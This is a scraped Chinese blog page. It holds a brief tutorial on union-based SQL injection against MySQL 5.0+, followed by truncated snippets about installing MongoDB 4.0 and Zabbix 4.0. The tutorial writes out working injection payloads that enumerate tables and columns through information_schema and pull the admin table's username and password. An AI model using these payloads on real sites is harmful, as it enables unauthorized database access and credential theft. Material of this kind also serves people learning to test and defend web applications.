SQL注入 mysql4 0版本 SQL注入(上)

2021-10-19 22:39:46 字數 1624 閱讀 5229

查資料庫名

查資料庫版本(mysql>5.0,5.0 以後的版本才有information_schema, information_schema儲存著資料庫名、表名、列的資料型別、訪問許可權等)

查表名 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

查欄位名

查出 admin 表裡 有 id username password 三個字段

查詢字段內容

構造?id=1 and 1=2 union select 1,username from admin limit 0,1

構造?id=1 and 1=2 union select 1,password from admin limit 1,1

limit 1,1 沒有回顯,說明只有乙個使用者

構造?id=1 and 1=2 union select 1,password from admin limit 0,1

如此,得到了管理員賬號和密碼

mongodb4 0版本搭建

基於linux centos7安裝部署mongodb4.0版本 一 單機部署 2.部署 1 解壓縮包 並且建立logs和data目錄 tar zxvf mongodb linux x86 64 rhel70 4.4.4.tgz mv mongodb linux x86 64 rhel70 4.4.4...

MongoDB4 0版本的安裝

mongdb 是一款跨平台,面向文件的資料庫,可以實現高效能,高可用性,並且能夠輕鬆擴充套件,是乙個基於分布式檔案儲存的開源資料庫系統。在高負載的情況下,新增更多的節點,可以保證伺服器效能。mongodb 也是乙個介於關聯式資料庫和非關聯式資料庫之間的產品,是非關聯式資料庫當中功能最豐富,最像關聯式...

zabbix 4 0 版本 yum安裝

關閉防火牆 關閉selinux 1 配置zabbix.repo zabbix name zabbix official repository basearch baseurl enabled 1 gpgcheck 0 gpgkey file etc pki rpm gpg rpm gpg key z...